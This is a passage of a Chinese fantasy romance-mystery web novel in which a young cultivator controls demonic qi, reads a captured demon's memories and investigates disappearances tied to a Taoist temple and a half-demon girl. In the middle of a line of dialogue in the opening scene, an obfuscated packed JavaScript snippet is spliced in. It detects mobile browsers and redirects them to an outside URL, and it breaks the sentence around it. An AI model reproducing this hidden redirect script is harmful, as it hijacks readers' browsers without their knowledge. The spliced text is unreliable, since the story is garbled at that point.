“我暂时将他的所有经脉都封住了,”谢迟云走过来,“山槐的手下被抓住后便会燃尽魔气同归于尽,若是师妹想要问他事情,恐怕不太容易。” 叶怀昭看着受制于人的魔族。 他努力地扬起唇角,似乎是想要嘲笑她的不自量力,猩红色的眼瞳闪烁着恶意的光,等待着面前少女燃烧起无能为力的愤怒。 但叶怀昭没有如他所愿。 她直起腰,语气平静轻松道:“没关系,我有办法。” 【你有什么办法,能阻止我?】 魔族的眼中写满了讽刺与嘲笑。 以这个距离,如果魔族忽然燃尽所有魔气毫无差别地攻击,周围一圈的人即便不会死也会重伤。 少女没有搭理他的话,只是对谢迟云说道:“师兄,开始吧。” 谢迟云看了一眼她的右手,没说什么,只是抬手掐诀。 下一刻,魔族身躯上浮现的幽蓝如潮水般迅速褪去。 被光剑钉死四肢的魔族放声大笑,漆黑的魔气瞬间铺天盖地地爆开,身后火光窜天而起,狂风骤雨一般袭来。 他的声音在骤然压下的黑雾中嘶哑响起:“狂妄自大——” 然而就在那暴虐的漆黑火焰即将吞没面前少女之际,她忽然抬起了手指。 与几乎要将天幕也烧出一个窟窿的魔气相比,少女那截素白的手指显得格外单薄,像是轻轻一碰便会被折断。 然而就是这样写满脆弱的纤细手指,却让如风暴般袭来的漆黑火焰骤然顿住。 宛如被掐住喉咙,魔族张扬的笑声戛然而止。 他错愕地瞪着四周慢慢散去的魔气,拼命想要将其操控着重新击向少女,却荒谬地发觉这些魔气根本不被他控制! 这怎么可能?! 一个修士、一个根本没有入魔的修士——怎么可能操控他的魔气?! 然而像是在打碎他的幻想一样,叶怀昭轻轻扬手,暴虐狂躁的漆黑火焰便温顺地慢慢伏下,任由少女抬脚将其踩灭。 她抬起眼眸,甜美的面庞映着火光,像是在窑炉中烧制的白瓷般透着柔和的温润,眼底有明亮的光芒点缀。 “为什么不可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575521|171559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”叶怀昭眉眼弯弯,诚恳说,“你在六殿下那里是不是被孤立了,什么都不知道就敢来接暗杀我的任务,难道没有别人来劝你不要一个人来截杀我吗?真可怜。” 眼前的一切都在粉碎着魔族的认知,从接下这个任务后便隐隐触动的危机意识在叶怀昭看过来时,迸发出前所未有的震颤。 他终于感受到了后知后觉的恐惧。 男人想要张口说话,眼前却慢慢飘来浅淡的烟雾。 在不知从何而起的一股异香中,魔族的意识渐渐沉沦。 他陷入了幻梦。 一刻钟后。 叶怀昭收回按在魔族脸上的手,抽出手帕一根一根慢慢擦拭着,若有所思说:“山槐的确派了几个魔族来到乐寿城,虽然不知道她想做什么,但我看到有人与他们接头。” “那地方似乎有敲钟诵经的声音,还有大片的竹林。”叶怀昭努力回忆着从魔族脑海中看到的记忆碎片,“这附近有什么寺庙道观吗?” 谢迟云:“城外的乐寿山上有一座清风观,很是隐蔽,或许师妹指的是这里。” “去看一眼不就好了。”叶怀昭说,“我怀疑和魔族接头的人正是此次失踪事件的幕后黑手。” 谢迟云淡淡扫了一眼无力倒下的魔族,抬眼道:“可有看清那人样貌?” 叶怀昭摇头:“那人穿着夜行衣,而且山槐应该也给魔族下了禁制,我还未突破天罡境,很多记忆都无法看清。” 语毕,少女忽然察觉到不对。 她转头盯着这里唯一一个突破天罡境的修士:“师兄,你会夺魂咒吗?” 如果是前几日的叶怀昭根本不会问谢迟云这个问题——夺魂咒可是各仙门明令禁止的禁咒,光风霁月的乘玉仙君怎可能会这等邪术呢? 但现在的叶怀昭对谢迟云的印象已经完全改变了。 果不其然,谢迟云颔首道:“略通一二。” 叶怀昭小声嘀咕一句“我就知道”,而后换了一副正经认真的表情:“就算师兄突破了天罡境最好也不要对他用夺魂咒,他身体中的禁制反冲,魔气可能会侵蚀你的灵脉。” 谢迟云无声地同她对视,眼中带着“那你为什么敢”的质疑。 叶怀昭理直气壮:“当然是因为我天资聪颖。” 她想了想,对男人勾了勾手指。 谢迟云顺从地微微俯身,让叶怀昭凑在了他的耳旁。 “师兄,我们来做个交易吧。”叶怀昭小声吐气,“你不将我偷学夺魂咒的事情告诉别人,守口如瓶、再告诉我一个你的秘密,我就告诉你另外一个关于我的秘密。” 她的身高有限,努力踮着脚的样子摇摇晃晃的,桃红衣裙上的柔软丝绦不经意间扫过玉佩,在一瞬间为水色温润的玉佩染出暧昧的色彩。 谢迟云轻轻笑了一声:“听起来这个交易中某人有些贪心。” 叶怀昭狡黠地弯着眉眼:“算上夺魂咒的事情,师兄会得知我的两个秘密,而我只求你一个秘密,该是师兄贪心才是。” 她等待着男人轻嗤一声说这是歪理,然后她便晓之以理动之以情。 可谢迟云只是微微转眼,浅色的眼珠盯了她片刻,忽地勾了勾唇角,应了下来:“师妹说的是,的确是师兄贪心了。” 叶怀昭有点诧异他的好说话,但紧接着就被即将得知乘玉仙君秘密的兴奋冲散。 像是生怕他反悔一样,叶怀昭不曾犹豫便道:“魔气和灵力对我而言没有区别,我可以操控逸散在外的魔气。” 世间罕见的天赋就这般随意地说了出来,她的主人并不在意,微微抬首似是挑衅一般,向谢迟云眨了一下眼睛:“师兄,该你了。” 男人没有立即回答。 他只是伸出骨节分明的右手,轻轻拨了一下玉佩上缠绕的桃红丝绦。 那截桃红丝绦被他绕在手指,慢条斯理地一点一点挑起,散开时似有似无勾过男人的指腹,又顺着风慢慢落下。 谢迟云垂首,反贴着叶怀昭的耳边轻声说: “那清风观的竹林,也是师妹和我相识的地方。” 19、第十九章 方才与魔族的打斗动静不小,惊动了不少人前来查看。 本来在城主府等着叶怀昭为她带午膳回来的桑春也没坐住,随着乐寿城内巡逻侍卫们来到了燃烧着熊熊火焰的小巷中。 侍卫们四散开去被波及的屋舍中救人,桑春抬起眼睛左右观察了一会,先是找到了和乐寿城侍卫交流的谢迟云,才看到蹲在墙边的叶怀昭。 她走过去问道:“方才发生什么事了?” 没等叶怀昭回答,桑春首先看到了少女跟前一长串浩浩荡荡的蚂蚁,而叶怀昭拿着一根树枝不时将即将搬进蚁穴的米粒拨开,很是乐此不疲。 她颇感无语:“……你是不是很闲?” “方才有一个魔族想要袭击我们,没有成功。”叶怀昭头也不抬,用一根细细的树枝戳着蚂蚁洞说,“一会儿我们要去城外的清风观调查。” 桑春:“哦,你们没有受伤吧。” 叶怀昭:“没有啦,只是一个魔族怎么可能伤到我们。” 她说完这句话,忽地撑着下巴仰头去看逆光而站的少女,眼神复杂。 叶怀昭:“除此之外呢,你没有别的想说的吗?” 桑春心里咯噔一声,心想难道她知道我前几天偷偷把她药田里的白仙参挖完了?还是知道了有几次出去吃饭没带钱报了她的名字记账上? 她轻咳一声,缓缓说:“昭昭,你我相识多年,我们之间的情谊怎么能是那金银钱财可以衡量的呢?” 叶怀昭狐疑地瞧着她:“对啊,我这次向你打听事情没想给你钱啊。” 她怎么忽然这么客气起来了? 桑春:“……” 少女冷漠道:“想问什么快说,过时不候。” 叶怀昭扔掉树枝站起身,先是瞥了一眼站在不远处和侍卫商议魔族处理情况的谢迟云,确定对方一时注意不到她们后,才贴到桑春旁边小声说:“你不觉得清风观这个名字很耳熟吗?” 桑春冷哼一声:“不觉得。” 叶怀昭恨铁不成钢,只能磨牙说:“我师兄说,这是我和他相识的地方!” 桑春漫不经心的神色微微一顿,而后有些微妙地转头去看叶怀昭:“所以呢,你想让我调查是真是假?” “我不觉得他在骗我,”叶怀昭说,“我的意思是,既然这是我第一次和师兄见面的地方,想来对我而言意义不同,那我回到长风门后就没有对你说些什么别的话吗?比如我和他是什么场景下见面的,我当时是什么感受。” “那都是十几年前的事了,”桑春被迫努力回忆着,“应该是万夫人去世的那年春天,你从乐寿城回来后和我说交到了一个朋友,后来谢迟云便被掌门带回了长风门。” “如果你说的那个朋友就是谢迟云的话,”桑春沉思说,“那你当时应该还挺喜欢这个朋友的,人家都不搭理你你都能拉着他玩了整整一下午……哦,还和我说你们去道观后面的小池塘里面抓鱼,结果都掉进了水里。” 叶怀昭:“我没说这个朋友的来历吗?” 桑春:“你说他像是从乱葬岗里爬出来的鬼。” 叶怀昭:“……” 她在心中真诚地想:如果我现在能回溯时间,那我一定要回到小时候,让叶怀昭以后不许每天胡说八道。 - 乐寿山就在乐寿城外不远,谢迟云交代好魔族的事情后,便带着叶怀昭去调查她在魔族记忆中看到的道观。 路上,谢迟云道:“清风观是一位散修逃亡至乐寿城后所建的道观,偶尔传授仙法,若是有不便向仙门宗派请求的零碎事情,乐寿城的百姓们也会来此参拜。” 叶怀昭认真听着谢迟云说话,闻言道:“师兄,你知道的好多,像是自小生活在这里一样。” “我毕竟比师妹早两日到乐寿城,”谢迟云似是没发觉她话语中的试探,神色如常道,“若是师妹也在这城中多待两日,想必知道的事情会更多。” 叶怀昭诚恳说:“师兄,如果以后你有徒弟,那他一定是这世上最幸福的人。” 谢迟云没忍住笑了,问道:“师妹何出此言?” “首先,我对我师尊没有任何意见,”叶怀昭先是绷着脸说了这句话,才满脸惆怅道,“但我做梦都想有一个长得好看、温柔亲切、能天天夸我的师父。” 不知道是不是叶珩的影响,叶怀昭觉得整个长风门的仙师们都是偏向肃穆端庄的风格。尤其是自阿娘死后,叶怀昭就再也没见过温柔和蔼风格的长辈了。 虽然嘴上从没说过,但因为这个原因,叶怀昭对这类人一向抱有天生的好感。 谢迟云看着她走神的样子,慢慢说:“师妹定会心想事成的。” 叶怀昭迈上石阶,叹息一声:“算啦,师兄你不必哄我,我也知道这是玩笑话,只是梦中想想我就心满意足啦。” 她抬起头,看到一座高大古朴的牌坊自树林的掩映间露出飞檐一角,雕刻精美金色纹样的牌匾上,是蓝底金字的“清风观”三个大字,有岁月留下的斑斑痕迹。 院中正巧有一个小道士正在扫院,听见动静后向他们这边张望。待他们说明来由后,立刻便恭敬地说这就去请两位监院,请他们稍等片刻。 “清风观未有观主,只有两位监院,其中一位姓辛的监院便是观中教授仙法的仙师。”谢迟云拢着袖子,淡淡道,“据说他已突破天罡境,却因心魔而自愿留在乐寿城赎罪,拒绝了许多门派的邀请。” 叶怀昭本是在好奇打量着清风观中的建筑,试图勾起自己之前的记忆,闻言好奇道:“什么心魔?” 谢迟云缓缓摇头,正欲开口,就听不远处传来脚步声,紧接着便出现了两道身穿青色道服的身影。 两人一高一矮,一胖一瘦。体型富态的那位道士神态慈祥,一见面便笑呵呵道:“两位便是来调查失踪之事的仙师?” 得到肯定回答后,他的脸上笑意更甚:“两位仙师想问什么?只要是贫道和师兄知道的,定然知无不言言无不尽。” 谢迟云温声问道:“不知监院近日有没有在道观中发现什么陌生可疑之人?” “未曾。” “似乎有一位。” 两道声音同时响起,又同时戛然而止。 叶怀昭在心中哦豁一声。 神态亲切慈祥的张道长眼神一顿,看向旁边的青衣道士,似笑非笑:“师兄,您这是何意?” 面容清矍的青衣道士大约就是谢迟云口中突破天罡境的辛道长,面对自己师弟的质疑,他平静说:“近日清风观中未有陌生可疑之人前来。” “的确没有陌生人,”张道长意味深长说,“但行踪可疑之人难道也没有吗?” “师兄,我知道你可怜赵家那个姑娘,但这毕竟是人命关天的事情,难道你也要替她隐瞒吗?” 辛道长:“我不认为她是此事的真凶。” 张道长笑道:“师兄这般信任赵姑娘?” 辛道长:“我也想问你,为何要因为她的母亲对她有这般大的恶意。” 说完这句话,他像是懒得再多说别的似的转身拂袖而去,没有理会身后面色铁青的张道长。 叶怀昭微微抬起袖子,掩住自己的下半张脸,只露出一双圆溜溜的眼眸在这对师兄弟之间转动。 谢迟云干咳一声,稍稍侧身挡住身后的师妹,正色道:“张道长,可否具体谈谈您方才说的话?” 神态温和的张道长叹息一声,转头对叶怀昭和谢迟云道:“两位仙君见谅,我师兄这人就是心太软,瞧见了什么猫猫狗狗都想救一把,为人固执得很。” 谢迟云:“您方才说赵家那个姑娘——可是在说赵三小姐?” “正是,”张道长说,“若是说清风观近日有什么异样,或许也就只有赵三姑娘了。” 按照他的说法,赵家的三小姐性情孤僻,不爱出门,最近却总是一个人来清风观参拜,甚至偶尔还要来此借住几日,很是怪异。 “贫道也着人去问过赵姑娘,赵姑娘却道只是为母祈福。” 谢迟云:“在此期间,赵小姐可有见过其他人?” 张道长沉吟片刻,缓缓说:“仙君倒是提醒贫道了。之前贫道在道观的那片竹林中遇见过几次赵姑娘,她见到贫道时很是惊讶,看那样子,似乎是在等什么人。” 听到“竹林”二字,叶怀昭用余光悄悄去看旁边的谢迟云,发现对方的神态如常,甚至还在专注问道:“不知张道长可否带我们去竹林一看?” 张道长自然没有异议。 叶怀昭心不在焉地跟在两个人的身后,时不时就要将目光投向道观中的其他角落,试图找出自己眼熟的部分,唤回失去的记忆。 但令人遗憾的是,不知是不是他们相识时叶怀昭的年纪太小,根本记不清什么事情,直到三人走到道观后方的竹林时叶怀昭都没什么特别发现,也没像之前一样回忆起来什么事情。 或许是她脸上的郁闷太过于明显,谢迟云看了她一眼,问道:“师妹心情不好?” “……没有。”叶怀昭随口扯了一个话题,“张道长,方才辛道长为何要提及赵三小姐的母亲?她的母亲身份很特殊吗?” 此话一出,本来在笑呵呵回答谢迟云问题的青衣道士骤然收声。 叶怀昭意识到不对,终于抬起了眼眸。 在两双眼眸的注视下,青衣道士的脸上渐渐升起复杂的表情,像是欲言又止,最终还是缓缓说:“……赵姑娘的母亲,是一个半魔。”【魔蝎小说 mo xie xs .c om】 20、第二十章 叶怀昭和谢迟云并未在竹林停留多久,在确认这里就是叶怀昭在魔族记忆中看到的接头点后,两人便动身回乐寿城。 他们本是要直接去赵府,但谢迟云说先吃了午膳再去也不迟,叶怀昭觉得很有道理,于是两人转道去了庾慎推荐的酒楼歇脚。 有师兄自然是师兄请客,叶怀昭开开心心地点了几道爱吃的菜,然后问酒楼的小二:“雪婴儿是什么?” 小二:“仙君可真是慧眼识珠,这雪婴儿可是咱家酒楼最红火的一道菜!” 他笑眯眯说:“凡间的雪婴儿皆是取整片的猪肥膘,再酿一层鱼蓉裹于新鲜去皮的蛙肉下锅煎贴,使其像是婴儿睡于雪地上。” “但咱家的雪婴儿,乃是舍凡间蛙肉而取魔界九草蟾,不仅颜色剔透,味道更是鲜美!” 叶怀昭:“如今城内禁运魔界东西,你们从哪来的这九草蟾?” 她的问题很是犀利,店小二神色一僵,而后悻悻说:“仙君,那禁运的是可能伤人性命的魔界物件,我们这是做菜用的,当然不在其列。” 叶怀昭不置可否,没再追问,倒是当真有些好奇地点了这道菜。 等到菜上了桌,叶怀昭观察了一会,小心翼翼挑了一筷子尝了尝。 叶怀昭:嚼嚼嚼。 叶怀昭:…… 她慢吞吞地将菜碟推到谢迟云面前,正色道:“这是一桌菜中最贵的一道,还请师兄尝尝,莫要浪费了。” 谢迟云似笑非笑地瞥她一眼,而后慢条斯理地拿起筷子,夹起被叶怀昭推来的菜肴尝了几口。 叶怀昭看着他面不改色地咽下,不由敬佩道:“师兄,你真厉害。” 虽然生在与魔界临近的南境,但叶怀昭活了这么多年还是吃不惯魔界的菜肴。 没想到谢迟云看起来还挺适应的。 她咬着筷子,在心中嘀咕着。 雪婴儿不合她的口味,其他菜肴做得倒是很美味,叶怀昭开开心心地饱餐一顿,临走了才想起远在城主府的桑春。 于是她又折回来点了几道菜让人送到城主府上,顺便买了几串糖葫芦边走边吃。 谢迟云谢绝了师妹的糖葫芦后,挑挑拣拣和她说着半魔的事情:“赵三小姐的父亲是如今赵家家主,母亲则是赵家的一个妾室,并且在她七岁时便因病去世了,此后她在赵家的处境便发生了一些改变。” 他话说得委婉,但叶怀昭还是听出谢迟云的未尽之意。 她之前以为赵三小姐和她的长姐身份地位相同,现在看来倒是她想岔了。 赵三小姐带有魔族血统,从她出生起,她就是整个赵府中最特殊的存在。 即便这里是南境,是距离魔界最近的地界,相对其他更遥远的地方而言对魔族的接受度更广,可到底做不到完全毫无芥蒂地接受自己的孩子流有魔族血统。 叶怀昭咬着糖葫芦,含糊不清问道:“赵三小姐的那位定了亲的夫君是怎么回事?” 谢迟云:“是她父亲定下的,那边本不想娶,但听闻赵家仅有几个牙牙学语的男孩后还是同意了。” 一个想要两头押注,一个想要借势登位,却要牺牲别人。 叶怀昭点评道:“两个烂人。” 谢迟云笑眯眯地弯了弯唇角。 来自长风门的师兄妹依旧畅通无阻地进了赵府,和徐府和庾府不同,这次倒是赵家的家主亲自来接待的他们。 “仙君远道而来,赵某本想着亲自去城主府拜访两位,无奈族中事务缠身,着实没能抽出时间,”赵家主叹息一声,“这般怠慢仙君,实在是赵某过错。” 他说这话时满脸遗憾,不时扼腕叹息,像是真的在为没能去拜访两人遗憾一样。 谢迟云微笑道:“赵家主言重了。” 两个人假笑着互相恭维,你来我往不断试探,听得坐在旁边的叶怀昭抬起手,掩着下半张脸小小地打了个哈欠。 叶怀昭本就不喜这位赵家主,瞧见他这幅假惺惺的面庞后更是不想搭理他。 谢迟云或许也觉察到了她的不耐烦,很快便向赵家主提出要在赵府各处看看,顺便问了一句三小姐是否在家。 赵家主:“乐寿城近日不甚安全,这些日子中小女一直待在家中,未曾外出。” 他说着,一边抬起手腕招来一个侍女,淡淡道:“带两位仙君去找三小姐。” 片刻后。 “两位是……” 一道迟疑的轻柔女声响起,叶怀昭微微转眼,瞧见一个披着薄氅的少女坐在破败院落的榕树下,有些惊讶地看着他们。 她瞧上去和叶怀昭的年龄相仿,只是比她更瘦弱一些,穿着素色的衣衫,像是风一吹就会病倒,面容不见血色。 赵清浔和叶怀昭想象中的样子很像,唯一不同的是她的眼眸并非温润的深棕,而是流淌着干涸鲜血般的暗红色。 只这一点,便证明了她自母亲继承而来的血脉。 侍女:“三小姐,这是长风门的两位仙君。” 赵清浔站起身,有些局促地看向叶怀昭:“原来是长风门的仙君……” 叶怀昭:“你怕我?” “清浔不敢。”少女抿唇,低声说,“仙君来此,是已认定真凶,来此抓清浔归案的吗?” 叶怀昭诧异地看着她:“为何这么说?” “……乐寿城的百姓们都这么说。”赵清浔避开她的眼眸,不自觉地转了一下右手腕上的翠色玉镯。 叶怀昭哼了一声:“那他们可真是见风是雨,信口雌黄。” 她随手把买多了的糖葫芦塞进愣在原地的少女手中,对她眨眨眼:“送给你啦,带我去你屋中看看好不好?” 赵清浔还没反应过来,怔了片刻才懵懵道:“好,好的。” 她旁边的贴身侍女看了看叶怀昭和自家小姐,知趣地没跟她进屋,而是和找家主派来的侍女一道等在院中。 谢迟云和自己任性的师妹对视一瞬,无奈地摇摇头,转身走出了院子。 他去调查赵府了。 而另一边,叶怀昭在赵清浔的闺房中转了一圈,最后停在格窗前的空无一物的鸟笼上。 她问道:“你养了鸟?” 赵清浔走过来,不好意思地点点头:“嗯,之前养过,不过后来不小心将它放跑了。” 叶怀昭哦了一声,转过身想要去旁边看看,不知怎的忽地被桌腿绊了一下,碰倒了格窗旁的架子,上方随手堆起的画卷书册顿时噼里啪啦地砸下。 “您没事吧仙君?”赵清浔连忙问。 “我没事。”叶怀昭摇摇头,俯身帮她去捡地上掉落的东西。 这架子上放的似乎都是赵清浔平日常看的书册,瞧上去破破烂烂,边缘翘着毛边。 叶怀昭瞥了一眼里面的内容,问她:“徐规失踪的前一天,你和他聊了什么?” 赵清浔咬着唇:“我们……徐公子只是和我闲聊了片刻,不是什么重要的话。” “真的?”叶怀昭笑眯眯地凑过去,贴着她的耳边小声说,“难道他没有向你倾诉爱慕之情吗?” “仙君!” “哎呀,”叶怀昭拉住猛地站起来的少女,向她眨眨眼,“别激动,我只是问问。” 她温声哄了片刻,满脸绯红的少女才慢慢平复了心情。叶怀昭坐在赵清浔的床榻边,听她低声说:“徐公子,那一日他的确说了一些……逾矩的话。” “他说,去岁三月在城外清风观第一次见我时,便想要娶我为妻。”她停顿一瞬,“我拒绝了他,然后徐公子就生气离开了。” “因为你已有婚约?” “不,”赵清浔摇摇头,说,“即便我未有婚约,也不会答应的。 赵清浔偏头看着叶怀昭,弧度圆润的暗红色眼瞳中流淌着沉寂的光。 “他只喜欢那个在清风观中陪他谈书论道的姑娘,”她说,“他不会接受‘赵清浔’的。” 叶怀昭觉得,这位赵小姐大约也并不喜欢和她定下婚约的张秉。 但在这乐寿城中,或许只有掺杂着利益交换的虚情假意,才能让她确认自己不会因为魔族血脉而被抛弃。 叶怀昭最后问道:“你经常去清风观吗?” 赵清浔将一缕垂下的发丝掠到耳后,垂着眼,答非所问说:“那是我唯一能短暂抛开自己身份的地方。” 叶怀昭若有所思。 她想了想,正欲开口再问一些其他事情,本应守在院中的侍女忽地跌跌撞撞闯进来,慌张道:“小姐,小姐你快走!再不走就来不及了!” 赵清浔茫然地抬起头:“怎么……” 话音未落,一道闪烁着灵力光芒的绳索便自院中飞来,将要落到少女身上时被叶怀昭抬指拦下。 一队身披盔甲、面容肃穆的侍卫涌进狭窄破烂的院中,而后向两边分出一条道,一个深色华服的男人大步流星地走进来。 “原来是叶仙君在这。”徐大公子望了一眼从屋内走出的叶怀昭,阴沉的脸上闪过一丝诧异。 叶怀昭:“徐公子来这里做什么?” “自然是得城主之令来抓捕真凶的。”徐大公子冷冷地瞧着从叶怀昭身后走出来的少女,讥讽说,“赵清浔,你以为把婢女杀了,旁人就不知道你做过什么吗?” 他挥挥手,一颗储存着他人记忆的留影珠霎时间亮起刺眼的光芒。 不重要的前半生如云雾般飞速地掠过,浓稠的水墨在半空中漂浮,最终勾勒出竹林中一道纤细瘦弱的身影。 那人伸出手,翠色的玉镯在纤细伶仃的手腕上摇晃,将信笺交于竹林之中另外一人。 院落中,徐大公子将一封染血的信笺展开,上方字迹娟秀,内容却透出无声无息的残忍。 【除掉徐府二公子。】 他一字一顿问道:“赵清浔,这封自魔族身上搜到的信笺,你该如何解释?” 众目睽睽之下,少女的脸色唰得一下苍白如纸。【魔蝎小说 mo xie xs .c om】 21、第二十一章 乐寿城城主虽是请了长风门的仙君请求帮忙,可并不代表他本人什么也没做。 在叶怀昭和谢迟云从徐府一路调查到赵府的半日内,乐寿城的侍卫也在城外抓到了一个行踪诡异的魔族,并从他的藏身之处搜出来数十封信笺。 那数十封信笺内容大同小异,皆是指使魔族让其杀掉信笺中所提及的人,没有任何表明身份的内容。 “但你的婢女暴露了你。”徐大公子冷冷说,“你以为她早就死在乱葬岗了是吗?哼,苍天有眼,庾公子外出时发现了这个奄奄一息的姑娘,没让她含冤死去。” 在婢女的记忆中,是赵清浔一笔一划亲自写下了那数十封信,并在清风观的竹林中交给了魔族。 “人证物证俱在,你还有什么好狡辩的?” “——三小姐怎么可能去杀阿莹?!” 最先出声的反倒不是赵清洵,而是方才让她赶快离开的侍女。 她愤怒地睁大眼眸,在众人面前鼓起勇气大声说:“还有那竹林,分明就是——” “阿燕。”赵清洵忽地出声喝止住她的话。 阿燕的声音宛如被掐住喉咙般戛然而止。 她慢慢转头,用一种不可置信的眼神看着旁边的少女。 “三小姐……” 叶怀昭本来要说些什么,但在看到这对主仆没头没尾的对话后,又将自己的话全部咽了回去。 她若有所思地看着一反常态的赵清洵。 赵清洵没有理会任何人。 她的手指紧紧攥着门框,没有血色的双唇抿着,定定看了阶下之人很久,才声音飘忽地问道:“阿莹……我的婢女,她现在如何?” “你竟还有脸问这种话?”徐大公子厌恶地看着她惺惺作态的样子,“记忆留存于留影珠后,她便支撑不住死去了。” “我已将赵清洵指使魔族杀害城中百姓之事的证据全部呈给城主大人,”徐大公子转头看向叶怀昭,“城主大人也已下令捉拿赵清洵归案。” 他语气沉着:“还请叶仙君不要阻拦。” 他说这话时,站在男人身边的侍卫也在警惕地盯着叶怀昭。 乐寿城是南境中极为繁华的城池,由城主直接统领的侍卫自然也并非等闲之辈。 至少在叶怀昭的感知中,这队侍卫的整体修为水平远高于那队在城门搜查的侍卫。 就在她思考要不要动手时,旁边忽然慢慢走过一道身影。 赵清洵在众人警惕的目光中,一步一步走下了石阶。 “既然是城主大人下令,清洵自然不会反抗。”她轻声道,“走吧。” 她没有分毫反抗的态度直接让徐大公子愣了一瞬才反应过来,而此时侍卫们已经率先用术法将少女控制住了。 徐大公子看了一眼低眉顺眼的赵清洵,又拧着眉转过视线,向叶怀昭颔首道:“既然人已经抓到,那我们也就不再久留了。” 说罢,像是生怕叶怀昭反悔截人一样,徐大公子带着捉拿归案的少女很快离开了,另一伙人火速包围了赵清洵的院子,开始搜查。 其中一人想要将方才出声的侍女带走,叶怀昭说:“我有话要问她。” 侍卫无声地同她对视,又默默走开了。 于是叶怀昭随手将侍女拎到旁边废弃的院中,支着下巴问她:“你是叫阿燕?” 赵清洵的侍女面色惨白地瘫坐在地上,像是还没反应过来一样怔怔望着叶怀昭。 好半晌,她才如梦初醒地从地上爬起来,跌跌撞撞地就要向院外跑,嘴中喃喃着:“老爷,去找老爷,老爷一定会救三小姐的!” “你家老爷既然能让那群人进来,就不可能帮你去救你家小姐了。”叶怀昭环胸抱臂,凉凉道。 阿燕腿一软砰地一声跪在地上,在这巨大的变故中终于忍不住崩溃了:“可小姐根本就没做过那些事情,为什么城主大人要抓小姐?!” 谢迟云循着声音走进院中时,瞧见的就是这幅场景。 他顿了顿脚步,转头去看自己的师妹:“方才是城主府来人了?” “是啊。”叶怀昭从脚步轻盈地走到谢迟云的面前,用眼睛斜他一眼,“方才那么的大的动静,师兄怎么现在才来。” “前段日子布下的术法有了些收获,去看了一眼。”谢迟云回答道。 叶怀昭盯着他,忽然像是发现了什么一样,主动向前走了几步。 她冷不丁问道:“师兄,你身上沾了魔气。” 谢迟云看着几乎要贴在自己身上的少女,不动声色地微微转眼,轻声说:“是那术法不小心落下的。” 叶怀昭狐疑地看了神色如常的师兄几眼,最终还是收回了视线。 算了,在她看来浓郁非常的魔气在他人看来或许只有零星几缕。 真要说魔气的话,她身上沾染赵清浔的魔气比谢迟云身上的还多的呢。 两人一问一答间,阿燕不知何时抬起了头,直勾勾地盯着他们看。 而后,她擦了擦眼,忽地一声不吭地跪在叶怀昭的面前。 “求仙君救救三小姐!”她一面说着,一面砰砰给叶怀昭磕头。 叶怀昭被她吓了一跳,忙不迭地用术法将她强行从地上拽了起来。 “你想让我怎么救她?”叶怀昭说,“既有物证,亦有人证,如此确凿的证据,你莫不是想让我去劫狱?” 她半开玩笑说:“我要真去劫了你家小姐的牢狱,我也就不用回长风门啦,到时候我就带着你家小姐和小春一起去私奔。” 谢迟云无声地看了她一眼。 叶怀昭有点迷茫地和他对视,然后想起什么似的,兴致勃勃说:“哦,师兄你就负责帮我拦住阿爹!” 谢迟云微笑着:“不要。” 叶怀昭想说为什么不要,难道我们师兄妹的感情连这点小忙都不帮的吗,话还没出口,旁边的阿燕就忍不住扬声说:“那些证据根本就是假的!” 两双眼睛同时向她看来。 叶怀昭挑了挑眉:“话可不能乱说,小阿燕。” 阿燕:“我没有乱说!三小姐平日里最喜欢阿莹了,怎么可能派人去杀阿莹!” “小姐的确去过清风观竹林,可根本没和什么魔族见过面,”她抹着泪,哽咽着说,“还有那几封信笺,三小姐写的根本就不是那些字!” 阿燕:“徐公子因为徐二公子的事情一向厌恶三小姐,姑爷怎可能说阿莹是被三小姐追杀的?一定是徐公子编造的!” 叶怀昭望着她:“你怎知庾慎不可能说阿莹是被你家小姐追杀的?即便是姐夫,也不会了解自己妻妹对婢女如何吧。” 方才还义愤填膺的少女忽然意识到什么一样,脸色骤然一变。 叶怀昭再接再厉:“你家小姐方才不让你说出这番话……你应当知道她是什么意思吧?” 阿燕看着她,肉眼可见在心中纠结着。 谢迟云虽然不知方才发生了什么,可他知道叶怀昭想做什么。 他加了最后一把火:“乐寿城因为此事已经闹了很久了,想必城主也不愿将事情拖得更久。” 阿燕:“……” 她依旧下意识地想要隐瞒,但身后院中传来的声音、自己额头膝盖传来的火辣辣痛感,无不在提醒着她,你别无退路。 不知过了多久,大约才十五六岁的少女才声音沙哑地说:“若是我将此事说出来,能救下小姐的性命吗?” 叶怀昭:“若是你家小姐当真无辜的话——可以。” 阿燕最后看了她一眼,而后低下头,咬着唇说:“三小姐去青云观根本不是同魔族见面的,而是和姑爷。” 一个男人瞒着所有人,和自己的妻妹偷偷在城外见面。 叶怀昭的第一反应是:完蛋,她该不是又要输掉赌局了吧? 偏偏谢迟云还道:“你说那几封信笺内容不对,那本应是什么?” 阿燕:“是姑爷和小姐……互诉衷肠的信。” 叶怀昭:“……” 在阿燕的叙述下,叶怀昭被迫听了一个富家少爷爱上一个不该爱的姑娘,由此发展出来的恨海情天的故事。 原来自从赵清浔的母亲死后,她在赵家的地位便每况日下。父亲的漠视更是助长了旁人落井下石的气焰,让没有任何反抗能力的赵清浔痛苦万分。 而这时,庾家一表人才的大少爷出现了。 他不仅在暗中偷偷接济赵清浔,还总是在家中姊妹刁难她时出手救她,教她如何应对他人的恶意。 这番行动下来,很快两人便心意相通、私下定情。 可好景不长,庾家老爷很快发现了自己长子和赵家那个有半魔血脉的姑娘纠缠不清的事情。 他直接将长子禁足,并强令他和赵家的三小姐断绝关系,让他娶妻——也就是赵清浔的长姐。 可即便如此,庾家的大少爷依旧深爱着那个和他心意相通的姑娘,总是私下里偷偷和她见面。 “——等一下。”叶怀昭匪夷所思的问,“他都成婚了,还同你家小姐往来,甚至一直这般不清不楚地纠缠,连个名分也没有,这算什么深爱?” 阿燕柔和地反驳:“可庾公子就是一直在帮小姐摆脱那些讨人厌的事情呀。” 